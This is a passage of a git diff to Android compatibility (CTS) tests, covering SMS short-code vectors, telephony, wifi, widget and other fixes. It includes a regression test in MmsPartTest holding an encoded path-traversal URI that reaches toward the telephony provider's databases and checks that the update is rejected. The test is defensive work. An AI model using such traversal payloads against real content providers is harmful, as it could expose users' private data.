SMS_CATEGORY_FREE_SHORT_CODE), new ShortCodeTest("it", "4567", SMS_CATEGORY_NOT_SHORT_CODE), new ShortCodeTest("it", "48000", SMS_CATEGORY_PREMIUM_SHORT_CODE), - new ShortCodeTest("it", "45678", SMS_CATEGORY_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "45678", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE), new ShortCodeTest("it", "56789", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "44000", SMS_CATEGORY_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "47000", SMS_CATEGORY_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "48000", SMS_CATEGORY_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "4450000", SMS_CATEGORY_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "4750000", SMS_CATEGORY_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "4850000", SMS_CATEGORY_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "44500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "47500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "48500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "45500", SMS_CATEGORY_PREMIUM_SHORT_CODE), + new ShortCodeTest("it", "49900", SMS_CATEGORY_PREMIUM_SHORT_CODE), new ShortCodeTest("it", "456789", SMS_CATEGORY_NOT_SHORT_CODE), new ShortCodeTest("kg", "112", SMS_CATEGORY_NOT_SHORT_CODE), diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java index 3757b632d28..e2fdef7ed9d 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java @@ -109,6 +109,7 @@ import android.util.Pair; import androidx.test.InstrumentationRegistry; +import com.android.compatibility.common.util.ApiTest; import com.android.compatibility.common.util.CarrierPrivilegeUtils; import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.ShellIdentityUtils; @@ -283,6 +284,7 @@ public class TelephonyManagerTest { private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3); private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5); private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6); + private static final int RADIO_HAL_VERSION_2_0 = makeRadioVersion(2, 0); static { EMERGENCY_NUMBER_SOURCE_SET = new HashSet<Integer>(); @@ -1250,43 +1252,70 @@ public class TelephonyManagerTest { private static final String ISO_COUNTRY_CODE_PATTERN = "[a-z]{2}"; @Test + @ApiTest(apis = "android.telephony.TelephonyManager#getNetworkCountryIso") public void testGetNetworkCountryIso() { assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS)); String countryCode = mTelephonyManager.getNetworkCountryIso(); - assertTrue("Country code '" + countryCode + "' did not match " - + ISO_COUNTRY_CODE_PATTERN, - Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)); + ServiceState serviceState = mTelephonyManager.getServiceState(); + if (serviceState != null && (serviceState.getState() + == ServiceState.STATE_IN_SERVICE || serviceState.getState() + == ServiceState.STATE_EMERGENCY_ONLY)) { + assertTrue("Country code '" + countryCode + "' did not match " + + ISO_COUNTRY_CODE_PATTERN, + Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)); + } else { + assertTrue("Country code could be empty when out of service", + Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode) + || TextUtils.isEmpty(countryCode)); + } - for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) { - SubscriptionInfo subscriptionInfo = - mSubscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(i); - if (subscriptionInfo != null) { - countryCode = mTelephonyManager.getNetworkCountryIso(i); + int[] allSubs = ShellIdentityUtils.invokeMethodWithShellPermissions( + mSubscriptionManager, (sm) -> sm.getActiveSubscriptionIdList()); + for (int i : allSubs) { + countryCode = mTelephonyManager.getNetworkCountryIso( + SubscriptionManager.getSlotIndex(i)); + serviceState = mTelephonyManager.createForSubscriptionId(i).getServiceState(); + + if (serviceState != null && (serviceState.getState() + == ServiceState.STATE_IN_SERVICE || serviceState.getState() + == ServiceState.STATE_EMERGENCY_ONLY)) { assertTrue("Country code '" + countryCode + "' did not match " - + ISO_COUNTRY_CODE_PATTERN + " for slot " + i, + + ISO_COUNTRY_CODE_PATTERN + " for slot " + i, Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)); + } else { + assertTrue("Country code could be empty when out of service", + Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode) + || TextUtils.isEmpty(countryCode)); } } + + for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) { + countryCode = mTelephonyManager.getNetworkCountryIso(i); + assertTrue("Country code must match " + ISO_COUNTRY_CODE_PATTERN + "or empty", + Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode) + || TextUtils.isEmpty(countryCode)); + } } @Test public void testSetSystemSelectionChannels() { assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS)); + UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation(); List<RadioAccessSpecifier> channels; try { - channels = ShellIdentityUtils.invokeMethodWithShellPermissions( - mTelephonyManager, TelephonyManager::getSystemSelectionChannels); + uiAutomation.adoptShellPermissionIdentity(); + channels = mTelephonyManager.getSystemSelectionChannels(); } catch (IllegalStateException e) { // TODO (b/189255895): Allow ISE once API is enforced in IRadio 2.1. Log.d(TAG, "Skipping test since system selection channels are not available."); return; + } finally { + uiAutomation.dropShellPermissionIdentity(); } LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1); - final UiAutomation uiAutomation = - InstrumentationRegistry.getInstrumentation().getUiAutomation(); try { uiAutomation.adoptShellPermissionIdentity(); // This is a oneway binder call, meaning we may return before the permission check @@ -1303,20 +1332,29 @@ public class TelephonyManagerTest { uiAutomation.dropShellPermissionIdentity(); } + uiAutomation.adoptShellPermissionIdentity(); + // Try calling the API that doesn't provide feedback. We have no way of knowing if it // succeeds, so just make sure nothing crashes. - ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager, - tp -> tp.setSystemSelectionChannels(Collections.emptyList())); + mTelephonyManager.setSystemSelectionChannels(Collections.emptyList()); // Assert that we get back the value we set. - assertEquals(Collections.emptyList(), - ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager, - TelephonyManager::getSystemSelectionChannels)); + assertEquals(Collections.emptyList(), mTelephonyManager.getSystemSelectionChannels()); - // Reset the values back to the original. - List<RadioAccessSpecifier> finalChannels = channels; - ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager, - tp -> tp.setSystemSelectionChannels(finalChannels)); + try { + // Reset the values back to the original. Use callback to ensure we don't drop + // the shell permission until the original state is restored. + mTelephonyManager.setSystemSelectionChannels(channels, + getContext().getMainExecutor(), queue::offer); + Boolean result = queue.poll(1000, TimeUnit.MILLISECONDS); + if (result == null || !result) { + Log.e(TAG, "Invalid response when resetting initial system selection channels."); + } + } catch (InterruptedException e) { + Log.e(TAG, "Interrupted while resetting initial system selection channels."); + } finally { + uiAutomation.dropShellPermissionIdentity(); + } } @Test @@ -1729,6 +1767,10 @@ public class TelephonyManagerTest { @Test public void testRebootRadio() throws Throwable { assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS)); + if (mRadioVersion <= RADIO_HAL_VERSION_2_0) { + Log.d(TAG, "Skipping test since rebootModem is not supported."); + return; + } TestThread t = new TestThread(() -> { Looper.prepare(); @@ -5053,8 +5095,12 @@ public class TelephonyManagerTest { .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE"); try { mTelephonyManager.setSimSlotMapping(simSlotMapping); - } catch (IllegalArgumentException e) { - fail("Not Expected Fail, Error in setSimSlotMapping :" + e); + } catch (IllegalArgumentException | IllegalStateException e) { + // if HAL version is less than 2.0, vendors may not have implemented API, + // skipping the failure. + if (mRadioVersion >= RADIO_HAL_VERSION_2_0) { + fail("Not Expected Fail, Error in setSimSlotMapping :" + e); + } } List<UiccSlotMapping> slotMappingList = new ArrayList<>(); diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java index 00e4dfe157a..fc5bbbd0ca9 100644 --- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java +++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java @@ -29,6 +29,8 @@ import android.database.Cursor; import android.net.Uri; import android.provider.Telephony; +import com.android.compatibility.common.util.ApiTest; + import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; @@ -127,6 +129,20 @@ public class MmsPartTest { } + /** + * Verifies uri path outside the directory of mms parts is not allowed. + */ + @Test + @ApiTest(apis = "com.android.providers.telephony.MmsProvider#update") + public void testMmsPartUpdate_invalidUri() { + ContentValues cv = new ContentValues(); + Uri uri = Uri.parse("content://mms/resetFilePerm/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." + + "%2F..%2F..%2F..%2F..%2Fdata%2Fuser_de%2F0%2Fcom.android.providers.telephony" + + "%2Fdatabases"); + int cursorUpdate = mContentResolver.update(uri, cv, null, null); + assertThat(cursorUpdate).isEqualTo(0); + } + @Test public void testMmsPartDelete_canDeleteById() { Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE); diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java index b96293f6ff1..568277ff24c 100644 --- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java +++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java @@ -36,6 +36,7 @@ import android.content.ContentResolver; import android.content.Intent; import android.graphics.drawable.Icon; import android.net.Uri; +import android.os.RemoteException; import android.provider.Settings; import android.text.Spannable; import android.text.SpannableString; @@ -87,28 +88,16 @@ public class TextViewIntegrationTest { UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); @Before - public void setup() throws Exception { + public void setup() throws RemoteException { Assume.assumeTrue( ApplicationProvider.getApplicationContext().getPackageManager() .hasSystemFeature(FEATURE_TOUCHSCREEN)); - workAroundNotificationShadeWindowIssue(); mSimpleTextClassifier = new SimpleTextClassifier(); sDevice.wakeUp(); dismissKeyguard(); closeSystemDialog(); } - // Somehow there is a stale "NotificationShade" window from SysUI stealing the inputs. - // The window is in the "exiting" state and seems never finish exiting. - // The workaround here is to (hopefully) reset its state by expanding the notification panel - // and collapsing it again. - private void workAroundNotificationShadeWindowIssue() throws InterruptedException { - ShellUtils.runShellCommand("cmd statusbar expand-notifications"); - Thread.sleep(1000); - ShellUtils.runShellCommand("cmd statusbar collapse"); - Thread.sleep(1000); - } - private void dismissKeyguard() { ShellUtils.runShellCommand("wm dismiss-keyguard"); } diff --git a/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt b/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt index 1f7af462bde..94fc6985c0f 100644 --- a/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt +++ b/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt @@ -87,6 +87,11 @@ class SharedUserMigrationTest { assertTrue(pkgs.sameAs(Const.INSTALL_TEST_PKG2)) pkgInfo = mPm.getPackageInfo(Const.INSTALL_TEST_PKG, FLAG_ZERO) assertNull(pkgInfo.sharedUserId) + // Upgrading an APK with sharedUserMaxSdkVersion set should not change its UID. + assertTrue(installPackage(InstallTest.APK4)) + val newPkgInfo = mPm.getPackageInfo(Const.INSTALL_TEST_PKG, FLAG_ZERO) + assertNull(newPkgInfo.sharedUserId) + assertEquals(pkgInfo.applicationInfo.uid, newPkgInfo.applicationInfo.uid) } private fun testBestEffort(uid: Int) { diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java index 7d73da9dad1..f00f0b13b5c 100644 --- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java +++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java @@ -125,6 +125,8 @@ public class ExactCanvasTests extends ActivityTestBase { canvas.drawColor(Color.WHITE); p.setColor(Color.BLACK); p.setAntiAlias(false); + // ensure the lines do not hit pixel edges + canvas.translate(0.05f, 0.05f); float[] pts = { 0, 0, 80, 80, 80, 0, 0, 80, 40, 50, 60, 50 }; diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml index 514c6fadd95..ba1205e5306 100644 --- a/tests/tests/view/AndroidManifest.xml +++ b/tests/tests/view/AndroidManifest.xml @@ -416,6 +416,7 @@ </activity> <activity android:name="android.view.cts.InputEventInterceptTestActivity" + android:theme="@style/no_starting_window" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> @@ -423,6 +424,7 @@ </activity> <activity android:name="android.view.cts.input.InputDeviceKeyLayoutMapTestActivity" + android:configChanges="keyboardHidden|navigation" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> diff --git a/tests/tests/view/res/values/themes.xml b/tests/tests/view/res/values/themes.xml index e44b58a7e9c..6579108e7b0 100644 --- a/tests/tests/view/res/values/themes.xml +++ b/tests/tests/view/res/values/themes.xml @@ -20,4 +20,8 @@ <item name="android:textAppearanceLarge">@android:style/TextAppearance.Material.Large</item> </style> + <style name="no_starting_window" parent="@android:style/Theme.DeviceDefault"> + <item name="android:windowDisablePreview">true</item> + </style> + </resources>
\ No newline at end of file diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java index 1dd4bd9fbd2..62cc0bfdce6 100644 --- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java +++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java @@ -152,9 +152,10 @@ public class VirtualAudioTest { public void setUp() throws Exception { MockitoAnnotations.initMocks(this); Context context = getApplicationContext(); - assumeTrue( - context.getPackageManager() - .hasSystemFeature(PackageManager.FEATURE_COMPANION_DEVICE_SETUP)); + PackageManager packageManager = context.getPackageManager(); + assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_COMPANION_DEVICE_SETUP)); + assumeTrue(packageManager.hasSystemFeature( + PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS)); assumeFalse("Skipping test: not supported on automotive", isAutomotive()); VirtualDeviceManager vdm = context.getSystemService(VirtualDeviceManager.class); diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml index 7c6dfb40534..dd283244b92 100644 --- a/tests/tests/widget/res/layout/numberpicker_layout.xml +++ b/tests/tests/widget/res/layout/numberpicker_layout.xml @@ -19,7 +19,8 @@ xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/container" android:layout_width="match_parent" - android:layout_height="wrap_content" + android:layout_height="match_parent" + android:gravity="center" android:orientation="vertical"> <NumberPicker diff --git a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java index dc56f57167e..e0c172ab7db 100644 --- a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java +++ b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java @@ -21,12 +21,17 @@ import static org.junit.Assert.assertTrue; import android.app.Instrumentation; import android.graphics.Color; +import android.os.SystemClock; +import android.platform.test.annotations.AppModeFull; import android.support.test.uiautomator.UiDevice; import android.view.Gravity; +import android.view.InputEvent; +import android.view.MotionEvent; import android.view.ViewGroup; import android.widget.FrameLayout; import android.widget.PopupWindow; +import androidx.annotation.NonNull; import androidx.test.InstrumentationRegistry; import androidx.test.ext.junit.rules.ActivityScenarioRule; import androidx.test.filters.MediumTest; @@ -36,12 +41,14 @@ import com.android.compatibility.common.util.GestureNavRule; import org.junit.Before; import org.junit.ClassRule; -import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; import org.junit.runner.RunWith; +// @AppModeFull because GestureNavRule does not work for +// instant mode tests (b/238975931) @MediumTest +@AppModeFull @RunWith(AndroidJUnit4.class) public class BackInvokedOnWidgetsTest { @@ -58,11 +65,11 @@ public class BackInvokedOnWidgetsTest { @Before public void setUp() { + rule.assumeGestureNavigationMode(); mInstrumentation = InstrumentationRegistry.getInstrumentation(); mUiDevice = UiDevice.getInstance(mInstrumentation); } - @Ignore("b/229946481") @Test public void popupWindowDismissedOnBackGesture() { PopupWindow[] popupWindow = new PopupWindow[1]; @@ -94,7 +101,45 @@ public class BackInvokedOnWidgetsTest { private void doBackGesture() { int midHeight = mUiDevice.getDisplayHeight() / 2; int midWidth = mUiDevice.getDisplayWidth() / 2; - mUiDevice.swipe(0, midHeight, midWidth, midHeight, 100); + quickSwipe(0, midHeight, midWidth, midHeight, 10); mUiDevice.waitForIdle(); } + + private void injectInputEventUnSynced(@NonNull InputEvent event) { + mInstrumentation.getUiAutomation().injectInputEvent(event, false /* sync */, + false /* waitForAnimations */); + } + + /** + * Injecting a sequence of motion event to simulate swipe without waiting for sync transaction. + */ + private void quickSwipe(float startX, float startY, float endX, float endY, int steps) { + if (steps <= 0) { + steps = 1; + } + final long startDownTime = SystemClock.uptimeMillis(); + MotionEvent firstDown = MotionEvent.obtain(startDownTime, startDownTime, + MotionEvent.ACTION_DOWN, startX, startY, 0); + injectInputEventUnSynced(firstDown); + + // inject in every 5 ms. + final int delayMillis = 5; + long nextEventTime = startDownTime + delayMillis; + final float stepGapX = (endX - startX) / steps; + final float stepGapY = (endY - startY) / steps; + for (int i = 0; i < steps; i++) { + SystemClock.sleep(delayMillis); + final float nextX = startX + stepGapX * i; + final float nextY = startY + stepGapY * i; + MotionEvent move = MotionEvent.obtain(startDownTime, nextEventTime, + MotionEvent.ACTION_MOVE, nextX, nextY, 0); + injectInputEventUnSynced(move); + nextEventTime += delayMillis; + } + + SystemClock.sleep(delayMillis); + MotionEvent up = MotionEvent.obtain(startDownTime, nextEventTime, + MotionEvent.ACTION_UP, endX, endY, 0); + injectInputEventUnSynced(up); + } } diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java index eecc071d0a3..6f085879f0a 100644 --- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java +++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java @@ -376,7 +376,7 @@ public class NumberPickerTest { numberPickerMiddleX, numberPickerStartY, 0, - screenHeight - numberPickerStartY); // drag down to the bottom of the screen. + mNumberPicker.getHeight()); // drag down to the bottom of the screen. Assert.assertTrue("Expected to get to IDLE state within 5 seconds", latch.await(5, TimeUnit.SECONDS)); @@ -444,7 +444,7 @@ public class NumberPickerTest { numberPickerMiddleX, numberPickerEndY, 0, - -(numberPickerEndY)); // drag up to the top of the screen. + -(mNumberPicker.getHeight())); // drag up to the top of the screen. Assert.assertTrue("Expected to get to IDLE state within 5 seconds", latch.await(5, TimeUnit.SECONDS)); } catch (Throwable t) { diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java index 26b5b7f138f..d063b40af81 100644 --- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java +++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java @@ -629,7 +629,7 @@ public class SingleDeviceTest extends WifiJUnit3TestBase { * then the attach/destroy will not correspond to enable/disable and will not result in a new * MAC address being generated. */ - public void testAttachDiscoveryAddressChanges() { + public void testAttachDiscoveryAddressChanges() throws InterruptedException { if (!TestUtils.shouldTestWifiAware(getContext())) { return; } @@ -638,6 +638,7 @@ public class SingleDeviceTest extends WifiJUnit3TestBase { Set<TestUtils.MacWrapper> macs = new HashSet<>(); for (int i = 0; i < numIterations; ++i) { + Thread.sleep(1000); AttachCallbackTest attachCb = new AttachCallbackTest(); IdentityChangedListenerTest identityL = new IdentityChangedListenerTest(); mWifiAwareManager.attach(attachCb, identityL, mHandler); diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java index f7322dde5e1..c0e5624b000 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java @@ -50,6 +50,7 @@ import android.util.Log; import androidx.test.filters.SdkSuppress; import androidx.test.platform.app.InstrumentationRegistry; +import com.android.compatibility.common.util.ApiLevelUtil; import com.android.compatibility.common.util.ShellIdentityUtils; import com.android.compatibility.common.util.SystemUtil; @@ -274,6 +275,29 @@ public class ConcurrencyTest extends WifiJUnit3TestBase { new LinkedList<Integer>(Arrays.asList(waitSingleSync))); } + private NetworkInfo.DetailedState waitForNextNetworkState() { + assertTrue(waitForBroadcasts(MySync.NETWORK_INFO)); + assertNotNull(mMySync.expectedNetworkInfo); + return mMySync.expectedNetworkInfo.getDetailedState(); + } + + private boolean waitForConnectedNetworkState() { + // The possible orders of network states are: + // * IDLE > CONNECTING > CONNECTED for lazy initialization + // * DISCONNECTED > CONNECTING > CONNECTED for previous group removal + // * CONNECTING > CONNECTED + NetworkInfo.DetailedState state = waitForNextNetworkState(); + if (state == NetworkInfo.DetailedState.IDLE + || state == NetworkInfo.DetailedState.DISCONNECTED) { + state = waitForNextNetworkState(); + } + if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU) + && state == NetworkInfo.DetailedState.CONNECTING) { + state = waitForNextNetworkState(); + } + return state == NetworkInfo.DetailedState.CONNECTED; + } + private boolean waitForServiceResponse(MyResponse waitResponse) { synchronized (waitResponse) { long timeout = System.currentTimeMillis() + TIMEOUT_MSEC; @@ -508,21 +532,7 @@ public class ConcurrencyTest extends WifiJUnit3TestBase { mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener); assertTrue(waitForServiceResponse(mMyResponse)); assertTrue(mMyResponse.success); - - // The first network state might be IDLE due to - // lazy initialization, but not CONNECTED. - for (int i = 0; i < 2; i++) { - assertTrue(waitForBroadcasts(MySync.NETWORK_INFO)); - assertNotNull(mMySync.expectedNetworkInfo); - if (NetworkInfo.DetailedState.CONNECTED == - mMySync.expectedNetworkInfo.getDetailedState()) { - break; - } - assertEquals(NetworkInfo.DetailedState.IDLE, - mMySync.expectedNetworkInfo.getDetailedState()); - } - assertEquals(NetworkInfo.DetailedState.CONNECTED, - mMySync.expectedNetworkInfo.getDetailedState()); + assertTrue(waitForConnectedNetworkState()); resetResponse(mMyResponse); mWifiP2pManager.requestNetworkInfo(mWifiP2pChannel, @@ -660,21 +670,7 @@ public class ConcurrencyTest extends WifiJUnit3TestBase { mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener); assertTrue(waitForServiceResponse(mMyResponse)); assertTrue(mMyResponse.success); - - // The first network state might be IDLE due to - // lazy initialization, but not CONNECTED. - for (int i = 0; i < 2; i++) { - assertTrue(waitForBroadcasts(MySync.NETWORK_INFO)); - assertNotNull(mMySync.expectedNetworkInfo); - if (NetworkInfo.DetailedState.CONNECTED == - mMySync.expectedNetworkInfo.getDetailedState()) { - break; - } - assertEquals(NetworkInfo.DetailedState.IDLE, - mMySync.expectedNetworkInfo.getDetailedState()); - } - assertEquals(NetworkInfo.DetailedState.CONNECTED, - mMySync.expectedNetworkInfo.getDetailedState()); + assertTrue(waitForConnectedNetworkState()); resetResponse(mMyResponse); mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener); @@ -707,10 +703,7 @@ public class ConcurrencyTest extends WifiJUnit3TestBase { mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener); assertTrue(waitForServiceResponse(mMyResponse)); assertTrue(mMyResponse.success); - assertTrue(waitForBroadcasts(MySync.NETWORK_INFO)); - assertNotNull(mMySync.expectedNetworkInfo); - assertEquals(NetworkInfo.DetailedState.CONNECTED, - mMySync.expectedNetworkInfo.getDetailedState()); + assertTrue(waitForConnectedNetworkState()); resetResponse(mMyResponse); mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener); @@ -812,21 +805,7 @@ public class ConcurrencyTest extends WifiJUnit3TestBase { mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener); assertTrue(waitForServiceResponse(mMyResponse)); assertTrue(mMyResponse.success); - - // The first network state might be IDLE due to - // lazy initialization, but not CONNECTED. - for (int i = 0; i < 2; i++) { - assertTrue(waitForBroadcasts(MySync.NETWORK_INFO)); - assertNotNull(mMySync.expectedNetworkInfo); - if (NetworkInfo.DetailedState.CONNECTED - == mMySync.expectedNetworkInfo.getDetailedState()) { - break; - } - assertEquals(NetworkInfo.DetailedState.IDLE, - mMySync.expectedNetworkInfo.getDetailedState()); - } - assertEquals(NetworkInfo.DetailedState.CONNECTED, - mMySync.expectedNetworkInfo.getDetailedState()); + assertTrue(waitForConnectedNetworkState()); resetResponse(mMyResponse); MacAddress peerMacAddress = MacAddress.fromString(mTestWifiP2pPeerConfig.deviceAddress); diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java index b61f11db59f..314d0975c73 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java @@ -151,6 +151,8 @@ public class MultiStaConcurrencyMultiInternetWifiNetworkTest extends WifiJUnit4T () -> wifiManager.setScanThrottleEnabled(false)); // Enable Wifi + sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions( + () -> wifiManager.isWifiEnabled()); ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true)); // Make sure wifi is enabled PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> wifiManager.isWifiEnabled()); diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java index a054aa55bf5..474d48840aa 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java @@ -2912,13 +2912,6 @@ public class WifiManagerTest extends WifiJUnit3TestBase { verifySetGetSoftApConfig(softApConfigBuilder.build()); } - // Test 11 AX control config. - if (callback.getCurrentSoftApCapability() - .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) { - softApConfigBuilder.setIeee80211axEnabled(true); - verifySetGetSoftApConfig(softApConfigBuilder.build()); - } - // Test 11 BE control config if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) { if (callback.getCurrentSoftApCapability() @@ -2929,6 +2922,12 @@ public class WifiManagerTest extends WifiJUnit3TestBase { } if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)) { + // Test 11 AX control config. + if (callback.getCurrentSoftApCapability() + .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) { + softApConfigBuilder.setIeee80211axEnabled(true); + verifySetGetSoftApConfig(softApConfigBuilder.build()); + } softApConfigBuilder.setBridgedModeOpportunisticShutdownEnabled(false); verifySetGetSoftApConfig(softApConfigBuilder.build()); } @@ -3912,6 +3911,14 @@ public class WifiManagerTest extends WifiJUnit3TestBase { @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU) public void testActiveCountryCodeChangedCallback() throws Exception { + if (!hasLocationFeature()) { + // skip the test if location is not supported + return; + } + if (!isLocationEnabled()) { + fail("Please enable location for this test - since country code is not available" + + " when location is disabled!"); + } TestActiveCountryCodeChangedCallback testCountryCodeChangedCallback = new TestActiveCountryCodeChangedCallback(); TestExecutor executor = new TestExecutor(); @@ -5519,7 +5526,6 @@ public class WifiManagerTest extends WifiJUnit3TestBase { waitForConnection(); wifiInfo = mWifiManager.getConnectionInfo(); assertEquals(networkId, wifiInfo.getNetworkId()); - assertEquals(connectedBssid, wifiInfo.getBSSID()); } finally { // Reset BSSID allow list to accept all APs for (WifiConfiguration network : savedNetworks) { diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java index c162f9ef064..d4b5ec1db65 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java @@ -57,13 +57,6 @@ public class WifiSsidTest extends WifiJUnit3TestBase { WifiSsid wifiSsidNull = WifiSsid.fromBytes(null); assertThat(wifiSsidNull).isNotNull(); assertThat(wifiSsidNull.getBytes()).isEmpty(); - - try { - WifiSsid.fromBytes(new 